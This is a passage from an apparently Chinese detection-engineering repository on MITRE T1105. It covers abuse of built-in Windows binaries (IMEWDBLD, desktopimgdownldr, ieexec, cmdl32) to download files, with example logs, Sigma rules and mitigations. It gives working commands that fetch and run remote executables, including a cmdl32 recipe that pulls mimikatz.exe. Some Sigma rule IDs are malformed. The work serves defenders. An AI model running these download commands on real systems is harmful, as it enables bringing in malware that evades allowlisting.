@path\"\n```\n> **参数说明**  \n> /P：指定搜索的起始路径，默认当前工作目录 (.)。  \n> /S：递归搜索子目录，类似“DIR /S”。  \n> /M：按搜索掩码查找文件，默认掩码为 '*'。  \n> /C：为每个文件执行的命令，需用双引号括起来。  \n> @path：返回文件的完整路径。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`IMEWDBLD.exe`进程创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`IMEWDBLD.exe`进程创建及命令行参数。\n- **事件ID 3**：记录`IMEWDBLD.exe`发起的HTTP/HTTPS网络连接（目标IP/端口）。\n- **事件ID 11**：记录下载文件创建事件（如`C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\[随机值]\\`）。\n\n### 网络日志\n- 捕获`IMEWDBLD.exe`发起的HTTP/HTTPS请求，检查目标URL是否异常。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10。\n- **权限**：用户权限（无需管理员）。\n- **工具**：\n  - `IMEWDBLD.exe`（系统自带，路径`C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe`）。\n  - Sysmon（用于进程和文件监控）。\n  - Wireshark（用于网络流量捕获）。\n  - 测试Web服务器（提供可控URL）。\n- **网络**：允许HTTP/HTTPS出站流量，建议在隔离网络中测试。\n- **日志**：启用Windows安全日志和Sysmon日志。\n\n### 攻击步骤\n1. **执行下载命令**：\n   ```bash\n   C:\\Users\\liyang>C:\\Windows\\System32\\IME\\BASH\\IMEWDBLD.exe https://dldir1.qq.com/qqfile/qq/PCQQ9.5.9/QQ9.5.9.28650.exe\n   ```\n   - 命令从指定URL下载文件，保存至`C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\[随机值]\\`。\n   - **注意**：Windows可能弹窗提示失败，忽略即可，文件已下载成功。\n2. **验证下载文件**：\n   ```bash\n   C:\\Users\\liyang>forfiles /P \"%localappdata%\\Microsoft\\Windows\\INetCache\" /S /M * /C \"cmd /c echo @path\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.IE5\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Low\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Virtualized\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\container.dat\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\JKCC1BIU\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\\DisabledFlights[1].cache\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\\dyntelconfig[2].cache\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\\RemoteSettings_Installer[1].cache\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\\ShippedFlights[1].cache\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\\tdyShwLw[1].txt\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\\views[1]\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\EG7SF236\\windows-app-web-link[1].json\"\n   \"C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\JKCC1BIU\\QQ9.5.9.28650[1].exe\"\n   ```\n3. **清理**：\n   - 删除下载文件（如`del C:\\Users\\liyang\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\JKCC1BIU\\QQ9.5.9.28650[1].exe`）。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\n已创建新进程。\n\n创建者主题:\n安全 ID: DESKTOP-PT656L6\\liyang\n帐户名: liyang\n帐户域: DESKTOP-PT656L6\n登录 ID: 0x47126\n\n进程信息:\n新进程 ID: 0x2278\n新进程名称: C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.EXE\n令牌提升类型: %%1938\n强制性标签: Mandatory Label\\Medium Mandatory Level\n创建者进程 ID: 0x1ca8\n创建者进程名称: C:\\Windows\\System32\\cmd.exe\n进程命令行: C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe https://dldir1.qq.com/qqfile/qq/PCQQ9.5.9/QQ9.5.9.28650.exe\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测`IMEWDBLD.exe`的异常下载行为：\n\n```yml\ntitle: IMEWDBLD.exe Suspicious Invocation\nid: b9e4c7f2-1a3b-4e5f-9c8d-3e2f5a6b7c9d\nstatus: experimental\ndescription: Detects suspicious execution of IMEWDBLD.exe, which can be used to download files from a remote URL\nauthor: 12306Br0\ndate: 2022/04/20\nreferences:\n- https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/\n- https://cloud.tencent.com/developer/article/1848645\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    Image|endswith: '\\IMEWDBLD.exe'\n    CommandLine|contains: 'http'\n  condition: selection\nfalsepositives:\n- Legitimate dictionary file downloads by Microsoft Pinyin IME\nlevel: medium\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检查`IMEWDBLD.exe`的命令行参数是否包含HTTP/HTTPS URL。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）。\n2. **文件监控**：\n   - 检测文件创建事件，重点关注`C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\[随机值]\\`路径下的非字典文件（如`.exe`）。\n3. **网络监控**：\n   - 捕获`IMEWDBLD.exe`发起的HTTP/HTTPS请求，检查目标URL是否为非微软官方服务器。\n4. **行为监控**：\n   - 检测`IMEWDBLD.exe`是否在非输入法更新场景下运行。\n5. **关联分析**：\n   - 结合Sysmon事件ID 1（进程创建）、3（网络连接）和11（文件创建）进行关联，识别完整攻击链。\n\n### 检测建议\n- **告警规则**：基于Sigma规则，配置SIEM系统（如Splunk、Elastic）检测`IMEWDBLD.exe`的异常命令行参数和文件创建。\n- **基线对比**：建立`IMEWDBLD.exe`的正常使用基线（如下载微软官方字典文件），排除合法行为。\n- **网络白名单**：限制`IMEWDBLD.exe`的出站流量，仅允许访问微软官方服务器。\n- **文件完整性监控**：监控`INetCache\\IE`目录下的文件，检测异常文件类型。\n\n## 缓解措施\n1. **限制网络访问**：\n   - 配置防火墙，限制`IMEWDBLD.exe`的出站HTTP/HTTPS流量，仅允许访问微软官方服务器。\n2. **加强日志监控**：\n   - 启用命令行参数记录和Sysmon日志，覆盖进程、网络和文件操作。\n3. **白名单管理**：\n   - 使用应用白名单工具（如AppLocker）限制`IMEWDBLD.exe`的执行场景。\n4. **权限管理**：\n   - 限制普通用户运行`IMEWDBLD.exe`，仅允许输入法相关进程调用。\n5. **定期审查**：\n   - 检查`IMEWDBLD.exe`的异常使用记录，结合威胁情报分析潜在风险。\n\n## 参考推荐\n- MITRE ATT&CK T1105  \n  https://attack.mitre.org/techniques/T1105  \n- IMEWDBLD.exe  \n  https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/  \n- IMEWDBLD.exe ByPass360 下载文件  \n  https://cloud.tencent.com/developer/article/1848645\n"
  },
  {
    "path": "Windows/12命令与控制/T1105-win-入口工具转移-desktopimgdownldr.exe(白名单).md",
    "content": "# T1105-Win-入口工具转移-desktopimgdownldr.exe(白名单)\n\n## 描述\n\n攻击者可能会将工具或其他文件从外部系统转移到被攻击的环境中。文件可以通过命令和控制通道从外部攻击者控制的系统复制，以将工具引入被攻击的网络中，也可通过其他工具（如FTP）或替代协议（如scp、rsync、sftp）在Mac和Linux上复制文件。\n\n## 测试案例\n\n`desktopimgdownldr.exe`是Windows 10系统中位于`C:\\Windows\\System32\\`的内置工具，原本用于设置锁定屏幕或桌面背景图像。攻击者可利用其`/lockscreenurl`参数从远程URL下载任意文件。\n\n### 路径\n```bash\n- C:\\Windows\\System32\\desktopimgdownldr.exe\n```\n\n### 示例命令\n- **普通用户下载文件**（无需管理员权限）：\n  ```bash\n  set \"SYSTEMROOT=C:\\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr\n  ```\n- **管理员下载并清理注册表**（包含注册表操作）：\n  ```bash\n  set \"SYSTEMROOT=C:\\ProgramData\\\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PersonalizationCSP /f\n  ```\n\n### 用例\n- 从Web服务器下载任意文件（如恶意可执行文件）。\n- 所需权限：普通用户权限。\n- 操作系统：Windows 10。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`desktopimgdownldr.exe`进程创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`desktopimgdownldr.exe`进程创建及命令行参数。\n- **事件ID 11**：记录文件创建事件，例如下载的文件存储路径（如`C:\\Users\\Username\\AppData\\Local\\Temp\\Personalization\\LockScreenImage\\`）。\n  ```yml\n  EventID: 11\n  UtcTime: 2020-07-03 08:47:21.485\n  ProcessGuid: {747F3D96-2178-5efe-0000-0010aada5800}\n  ProcessId: 1556\n  Image: C:\\Windows\\System32\\svchost.exe\n  TargetFilename: C:\\Users\\IEUser\\AppData\\Local\\Temp\\Personalization\\LockScreenImage\\LockScreenImage\n  CreationUtcTime: 2020-07-03 08:47:21.485\n  ```\n\n### 网络日志\n- 捕获`desktopimgdownldr.exe`发起的HTTP/HTTPS请求，检查目标URL是否异常。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10。\n- **权限**：普通用户权限（无需管理员）。\n- **工具**：\n  - `desktopimgdownldr.exe`（系统自带，路径`C:\\Windows\\System32\\desktopimgdownldr.exe`）。\n  - Sysmon（用于进程和文件监控）。\n  - Wireshark（用于网络流量捕获）。\n  - 测试Web服务器（提供可控URL）。\n- **网络**：允许HTTPS出站流量，建议在隔离网络中测试。\n- **日志**：启用Windows安全日志和Sysmon日志。\n\n### 攻击步骤\n1. **执行下载命令**：\n   ```bash\n   set \"SYSTEMROOT=C:\\Windows\\Temp\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr\n   ```\n   - 命令通过`lockscreenurl`参数从`https://domain.com:8080/file.ext`下载文件，保存至默认路径（如`C:\\Users\\Username\\AppData\\Local\\Temp\\Personalization\\LockScreenImage\\`）。\n2. **验证结果**：\n   - 检查下载文件是否生成于指定或默认路径。\n   - 使用Wireshark捕获HTTP/HTTPS请求，确认目标URL。\n3. **清理**：\n   - 删除下载文件（如`del C:\\Windows\\Temp\\file.ext`）。\n\n## 测试留痕\n以下为Windows安全日志示例（事件ID 4688）：\n```yml\n已创建新进程。\n\n创建者主题:\n安全 ID: DESKTOP-PT656L6\\liyang\n帐户名: liyang\n帐户域: DESKTOP-PT656L6\n登录 ID: 0x47126\n\n目标主题:\n安全 ID: NULL SID\n帐户名: -\n帐户域: -\n登录 ID: 0x0\n\n进程信息:\n新进程 ID: 0x24a4\n新进程名称: C:\\Windows\\System32\\desktopimgdownldr.exe\n令牌提升类型: %%1938\n强制性标签: Mandatory Label\\Medium Mandatory Level\n创建者进程 ID: 0x2588\n创建者进程名称: C:\\Windows\\System32\\cmd.exe\n进程命令行: desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则（`win_susp_desktopimgdownldr_file`），检测`desktopimgdownldr.exe`的异常文件创建行为：\n\n```yml\ntitle: Suspicious Desktopimgdownldr Target File\nid: fc4f4817-0c53-4683-a4ee-b17a64bc1039\nstatus: experimental\ndescription: Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension\nauthor: Florian Roth\ndate: 2020/07/03\nreferences:\n  - https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n  - https://twitter.com/SBousseaden/status/1278977301745741825\nlogsource:\n  product: windows\n  category: file_event\ntags:\n  - attack.defense_evasion\n  - attack.t1105\ndetection:\n  selection:\n    Image|endswith: svchost.exe\n    TargetFilename|contains: '\\Personalization\\LockScreenImage\\'\n  filter1:\n    TargetFilename|contains: 'C:\\Windows\\'\n  filter2:\n    TargetFilename|contains:\n      - '.jpg'\n      - '.jpeg'\n      - '.png'\n  condition: selection and not filter1 and not filter2\nfields:\n  - CommandLine\n  - ParentCommandLine\nfalsepositives:\n  - False positives depend on scripts and administrative tools used in the monitored environment\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检查`desktopimgdownldr.exe`的命令行参数是否包含`/lockscreenurl`和HTTP/HTTPS URL。\n   - 监控异常父进程（如`cmd.exe`）。\n2. **文件监控**：\n   - 检测`desktopimgdownldr.exe`创建的文件是否位于非预期路径（如`C:\\Users\\Username\\AppData\\Local\\Temp\\Personalization\\LockScreenImage\\`）。\n   - 识别非图像文件扩展名（如`.exe`、`.dll`）。\n3. **网络监控**：\n   - 捕获`desktopimgdownldr.exe`发起的HTTP/HTTPS请求，重点关注非微软官方URL。\n4. **异常行为**：\n   - 检测`desktopimgdownldr.exe`在非锁定屏幕更新场景下的运行。\n5. **关联分析**：\n   - 结合Sysmon事件ID 1（进程创建）和11（文件创建）进行关联，识别下载行为。\n\n### 检测建议\n- **告警规则**：基于Sigma规则，配置SIEM系统（如Splunk、Elastic）检测`desktopimgdownldr.exe`的异常参数和文件创建。\n- **基线对比**：建立`desktopimgdownldr.exe`的正常使用基线（如更新锁定屏幕图像），排除合法行为。\n- **网络白名单**：限制`desktopimgdownldr.exe`的出站流量，仅允许访问微软官方图像服务器。\n- **文件完整性监控**：监控下载文件，检测非图像文件类型。\n\n## 缓解措施\n1. **限制网络访问**：\n   - 配置防火墙，限制`desktopimgdownldr.exe`的出站HTTP/HTTPS流量，仅允许访问微软官方URL。\n2. **加强日志监控**：\n   - 启用命令行参数记录和Sysmon日志，覆盖进程和文件操作。\n3. **白名单管理**：\n   - 使用应用白名单工具（如AppLocker）限制`desktopimgdownldr.exe`的执行场景。\n4. **用户权限管理**：\n   - 限制普通用户修改锁定屏幕设置，需管理员审核。\n5. **定期审查**：\n   - 检查系统内`desktopimgdownldr.exe`的异常使用记录，结合威胁情报分析风险。\n\n## 参考推荐\n- MITRE ATT&CK T1105  \n  https://attack.mitre.org/techniques/T1105\n"
  },
  {
    "path": "Windows/12命令与控制/T1105-win-入口工具转移-ieexec.exe (白名单).md",
    "content": "# T1105-Win-入口工具转移-ieexec.exe(白名单)\n\n## 描述\n\n攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻击的环境中，以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具（如FTP）或替代协议（如scp、rsync、sftp）实现，适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具（如`ieexec.exe`）来规避传统防病毒检测。\n\n## 测试案例\n\n`ieexec.exe`是.NET Framework附带的应用程序，位于`C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe`或`C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe`，用于执行从远程URL加载的托管.NET应用程序。攻击者可利用其直接从远程服务器下载并运行恶意代码，绕过安全机制。\n\n### 路径\n```yml\n- C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe\n- C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe\n```\n\n### 示例命令\n从远程服务器下载并执行`bypass.exe`：\n```yml\nieexec.exe http://x.x.x.x:8080/bypass.exe\n```\n\n### 用例\n- 从远程位置下载并运行攻击者控制的恶意代码。\n- 所需权限：用户权限。\n- 操作系统：Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10。\n\n## 检测日志\n\n### Windows安全日志\n- **事件ID 4688**：记录`ieexec.exe`进程创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`ieexec.exe`进程创建及命令行参数。\n- **事件ID 3**：记录`ieexec.exe`发起的HTTP/HTTPS网络连接（目标IP/端口）。\n- **事件ID 11**：记录可能的恶意文件创建（若下载内容被保存）。\n\n### 网络日志\n- 捕获`ieexec.exe`发起的HTTP/HTTPS请求，检查目标URL是否异常。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10。\n- **权限**：用户权限（无需管理员）。\n- **工具**：\n  - `ieexec.exe`（系统自带，路径`C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe`或`C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe`）。\n  - Sysmon（用于进程和网络监控）。\n  - Wireshark（用于网络流量捕获）。\n  - 测试Web服务器（提供可控URL）。\n- **网络**：允许HTTP/HTTPS出站流量，建议在隔离网络中测试。\n- **日志**：启用Windows安全日志和Sysmon日志。\n\n### 攻击步骤\n1. **执行下载命令**：\n   ```bash\n   C:\\Users\\liyang>C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe http://x.x.x.x:8080/bypass.exe\n   ```\n   - 命令从指定URL下载并执行`bypass.exe`。\n   - 注意：直接运行`ieexec.exe`可能提示“不是内部或外部命令”，需指定完整路径。。\n\n## 测试留痕\n\n```yml\n已创建新进程。\n\n创建者主题:\n安全 ID: DESKTOP-PT656L6\\liyang\n帐户名: liyang\n帐户域: DESKTOP-PT656L6\n登录 ID: 0x47126\n\n进程信息:\n新进程 ID: 0x1a24\n新进程名称: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\IEExec.exe\n令牌提升类型: %%1938\n强制性标签: Mandatory Label\\Medium Mandatory Level\n创建者进程 ID: 0x1410\n创建者进程名称: C:\\Windows\\System32\\cmd.exe\n进程命令行: C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ieexec.exe https://xxx/QQ.exe\n```\n\n## 检测方法/思路\n\n### Sigma规则\n基于Sigma规则，检测`ieexec.exe`的异常执行行为：\n\n```yml\ntitle: ieexec.exe Suspicious Invocation\nid: 7f2b3e5a-9c1d-4b7e-a2f3-8c9e4d7b3c2a\nstatus: experimental\ndescription: Detects suspicious execution of ieexec.exe, which can be used to download and run malicious code from a remote URL\nauthor: 12306Br0\ndate: 2022/04/20\nreferences:\n- https://www.codercto.com/a/104908.html\n- https://lolbas-project.github.io/lolbas/Binaries/Ieexec/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    Image|endswith: '\\ieexec.exe'\n    CommandLine|contains: 'http'\n  condition: selection\nfalsepositives:\n- Legitimate use of ieexec.exe for loading trusted .NET applications\nlevel: medium\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检查`ieexec.exe`的命令行参数是否包含HTTP/HTTPS URL。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）。\n2. **网络监控**：\n   - 检测`ieexec.exe`发起的HTTP/HTTPS请求，重点关注非预期目标URL。\n3. **行为监控**：\n   - 检测`ieexec.exe`是否加载了非预期的.NET应用程序。\n4. **关联分析**：\n   - 结合Sysmon事件ID 1（进程创建）、3（网络连接）和可能的11（文件创建）进行关联，识别完整攻击链。\n\n### 检测建议\n- **告警规则**：基于Sigma规则，配置SIEM系统（如Splunk、Elastic）检测`ieexec.exe`的异常命令行参数和网络活动。\n- **基线对比**：建立`ieexec.exe`的正常使用基线（通常在开发环境中加载受信任的.NET应用），排除合法行为。\n- **网络白名单**：限制`ieexec.exe`的出站流量，仅允许访问已知合法服务器。\n- **文件完整性监控**：监控`ieexec.exe`下载的文件，检测异常文件类型（如`.exe`）。\n\n## 缓解措施\n1. **限制网络访问**：\n   - 配置防火墙，限制`ieexec.exe`的出站HTTP/HTTPS流量，仅允许访问受信任的服务器。\n2. **加强日志监控**：\n   - 启用命令行参数记录和Sysmon日志，覆盖进程、网络和文件操作。\n3. **白名单管理**：\n   - 使用应用白名单工具（如AppLocker）限制`ieexec.exe`的执行场景。\n4. **权限管理**：\n   - 限制普通用户运行`ieexec.exe`，仅允许开发或受信任账户使用。\n5. **定期审查**：\n   - 检查系统内`ieexec.exe`的异常使用记录，结合威胁情报分析潜在风险。\n\n## 参考推荐\n- MITRE ATT&CK T1105  \n  https://attack.mitre.org/techniques/T1105  \n- ieexec.exe  \n  https://lolbas-project.github.io/lolbas/Binaries/Ieexec/  \n- 远控免杀专题(46)-白名单IEexec.exe执行payload  \n  https://www.codercto.com/a/104908.html\n"
  },
  {
    "path": "Windows/12命令与控制/T1105-win-利用cmdl32进行文件下载行为(白名单).md",
    "content": "# T1105-Win-利用cmdl32进行文件下载行为(白名单)\n\n## 描述\n\n攻击者利用合法工具（如`cmdl32.exe`）从外部系统将工具或恶意文件下载到被攻陷的环境中（T1105）。`cmdl32.exe`是Windows连接管理器管理工具包（CMAK）的一部分，用于设置拨号或VPN连接的配置文件。攻击者可通过伪装配置文件（如`settings.txt`）中的`UpdateUrl`字段，诱导`cmdl32.exe`从指定URL下载文件，伪装成正常更新行为。由于`cmdl32.exe`是系统自带工具，属于白名单程序，常被用于规避传统防病毒软件检测。\n\n此技术可通过命令与控制（C2）通道或替代协议（如HTTP）下载文件，适用于初始访问后的工具部署或持久化。检测重点在于监控`cmdl32.exe`的异常命令行参数、可疑网络连接及配置文件操作。\n\n## 测试案例\n\ncmdl32.exe,CMAK（连接管理器管理工具包）使用它来设置连接管理器服务配置文件。配置文件通常打包成一个.exe，可以部署到用户系统。该软件包安装可用于启动拨号/VPN连接的配置文件。\n\n### 步骤一\n\n使用以下命令并且生成相关配置文件。\n\n```yml\nicacls %cd% /deny %username%:(OI)(CI)(DE,DC)\nset tmp=%cd%\necho [Connection Manager] > settings.txt\necho CMSFile=settings.txt >> settings.txt\necho ServiceName=WindowsUpdate >> settings.txt\necho TunnelFile=settings.txt  >> settings.txt\necho [Settings]  >> settings.txt\necho UpdateUrl=http://10.211.55.2:8000/mimikatz.exe  >> settings.txt\n```\n\n### 步骤二\n\n然后继续执行即可下载成功。\n\n```yml\ncmdl32 /vpn /lan %cd%\\settings.txt\nicacls %cd% /remove:d %username%\nmove VPNBDFF.tmp mimikatz.exe\n```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`cmdl32.exe`、`icacls.exe`等进程创建及命令行参数。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，捕获`cmdl32.exe`的命令行（如包含`settings.txt`）。  \n- **事件ID 3**：记录网络连接，捕获`cmdl32.exe`的HTTP请求（目标IP/端口）。  \n- **事件ID 11**：记录配置文件（如`settings.txt`）或临时文件（如`VPN*.tmp`）创建。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录PowerShell脚本执行（如自动化创建`settings.txt`）。  \n\n**网络日志**  \n- 捕获`cmdl32.exe`发起的HTTP流量（如向非预期URL的GET请求）。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon监控`cmdl32.exe`及网络连接：\n  ```xml\n  <RuleGroup name=\"ProcessCreate\" groupRelation=\"and\">\n    <ProcessCreate onmatch=\"include\">\n      <Image condition=\"end with\">cmdl32.exe</Image>\n    </ProcessCreate>\n  </RuleGroup>\n  ```\n- 配置IDS/IPS记录HTTP流量。\n\n## 测试复现\n\nwindows server 2016进行测试，测试效果Ok。\n\n```yml\nC:\\Users\\Administrator>cd C:\\Users\\Administrator\\Desktop\\test\n\nC:\\Users\\Administrator\\Desktop\\test>icacls %cd% /deny %username%:(OI)(CI)(DE,DC)\n已处理的文件: C:\\Users\\Administrator\\Desktop\\test\n已成功处理 1 个文件; 处理 0 个文件时失败\n\nC:\\Users\\Administrator\\Desktop\\test>set tmp=%cd%\n\nC:\\Users\\Administrator\\Desktop\\test>echo [Connection Manager] > settings.txt\n\nC:\\Users\\Administrator\\Desktop\\test>echo CMSFile=settings.txt >> settings.txt\n\nC:\\Users\\Administrator\\Desktop\\test>echo ServiceName=WindowsUpdate >> settings.txt\n\nC:\\Users\\Administrator\\Desktop\\test>echo TunnelFile=settings.txt  >> settings.txt\n\nC:\\Users\\Administrator\\Desktop\\test>echo [Settings]  >> settings.txt\n\nC:\\Users\\Administrator\\Desktop\\test>echo UpdateUrl=http://10.211.55.2:8000/mimikatz.exe  >> settings.txt\n\nC:\\Users\\Administrator\\Desktop\\test>cmdl32 /vpn /lan %cd%\\settings.txt\n\nC:\\Users\\Administrator\\Desktop\\test>icacls %cd% /remove:d %username%\n已处理的文件: C:\\Users\\Administrator\\Desktop\\test\n已成功处理 1 个文件; 处理 0 个文件时失败\n\nC:\\Users\\Administrator\\Desktop\\test>move VPND1F2.tmp mimikatz.exe\n移动了         1 个文件。\n```\n\n## 测试留痕\n\n### 日志记录1\n\n```log\n创建新进程。4688，windows安全日志\n\n创建者主题:\n 安全 ID:  QAX\\Administrator\n 帐户名:  Administrator\n 帐户域:  QAX\n 登录 ID:  0xCF2BF2\n\n目标主题:\n 安全 ID:  NULL SID\n 帐户名:  -\n 帐户域:  -\n 登录 ID:  0x0\n\n进程信息:\n 新进程 ID:  0x40e0\n 新进程名称: C:\\Windows\\System32\\icacls.exe\n 令牌提升类型: %%1936\n 强制性标签:  Mandatory Label\\High Mandatory Level\n 创建者进程 ID: 0x688\n 创建者进程名称: C:\\Windows\\System32\\cmd.exe\n 进程命令行: icacls  C:\\Users\\wangxin\\Desktop\\test /deny Administrator:(OI)(CI)(DE,DC)\n```\n\n### 日志记录二\n\n```log\n已创建新进程。\n\n创建者主题:\n 安全 ID:  QAX\\Administrator\n 帐户名:  Administrator\n 帐户域:  QAX\n 登录 ID:  0xCF2BF2\n\n目标主题:\n 安全 ID:  NULL SID\n 帐户名:  -\n 帐户域:  -\n 登录 ID:  0x0\n\n进程信息:\n 新进程 ID:  0x12c18\n 新进程名称: C:\\Windows\\System32\\cmdl32.exe\n 令牌提升类型: %%1936\n 强制性标签:  Mandatory Label\\High Mandatory Level\n 创建者进程 ID: 0x688\n 创建者进程名称: C:\\Windows\\System32\\cmd.exe\n 进程命令行: cmdl32  /vpn /lan C:\\Users\\wangxin\\Desktop\\test\\settings.txt\n```\n\n### 日志记录三\n\n```log\n已创建新进程。\n\n创建者主题:\n 安全 ID:  QAX\\Administrator\n 帐户名:  Administrator\n 帐户域:  QAX\n 登录 ID:  0xE991EB\n\n目标主题:\n 安全 ID:  NULL SID\n 帐户名:  -\n 帐户域:  -\n 登录 ID:  0x0\n\n进程信息:\n 新进程 ID:  0x133b8\n 新进程名称: C:\\Windows\\System32\\icacls.exe\n 令牌提升类型: %%1936\n 强制性标签:  Mandatory Label\\High Mandatory Level\n 创建者进程 ID: 0x12fac\n 创建者进程名称: C:\\Windows\\System32\\cmd.exe\n 进程命令行: icacls  C:\\Users\\wangxin\\Desktop\\test /remove:d Administrator\n```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控`cmdl32.exe`的异常命令行、网络连接及配置文件操作，检测恶意文件下载行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Windows安全日志事件ID 4688，检测`cmdl32.exe`执行及命令行（如包含`settings.txt`）。  \n   - 监控Sysmon事件ID 1，检测`cmdl32.exe`进程创建及命令行参数。  \n   - 监控Sysmon事件ID 3，检测`cmdl32.exe`的HTTP连接（非预期URL）。  \n   - 监控Sysmon事件ID 11，检测`settings.txt`或`VPN*.tmp`文件创建。  \n   - 监控PowerShell日志事件ID 4104，检测自动化创建配置文件的行为。  \n   - 检查Netflow，检测`cmdl32.exe`发起的异常HTTP流量。  \n\n2. **Sigma规则（Cmdl32文件下载）**：\n   ```yaml\n   title: 利用cmdl32进行文件下载行为检测\n   id: g12345678-abcd-9012-3456-78901234klmn\n   status: stable\n   description: 检测攻击者利用cmdl32.exe通过伪造配置文件下载恶意文件\n   references:\n     - https://attack.mitre.org/techniques/T1105/\n     - https://www.t00ls.cc/thread-63254-1-1.html\n   tags:\n     - attack.command_and_control\n     - attack.execution\n     - attack.t1105\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\cmdl32.exe'\n       CommandLine|contains: 'settings.txt'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法CMAK配置文件更新\n     - 管理员网络配置\n   level: high\n   ```\n\n3. **Sigma规则（配置文件创建）**：\n   ```yaml\n   title: Cmdl32配置文件创建检测\n   id: h23456789-abcd-0123-4567-89012345opqr\n   status: experimental\n   description: 检测cmdl32相关配置文件（如settings.txt）的创建\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 11\n       TargetFilename|endswith: '\\settings.txt'\n     condition: selection\n   fields:\n     - Image\n     - TargetFilename\n     - User\n   falsepositives:\n     - 合法CMAK配置文件\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测`cmdl32.exe`异常行为。\n   - 示例Splunk查询：\n     ```spl\n     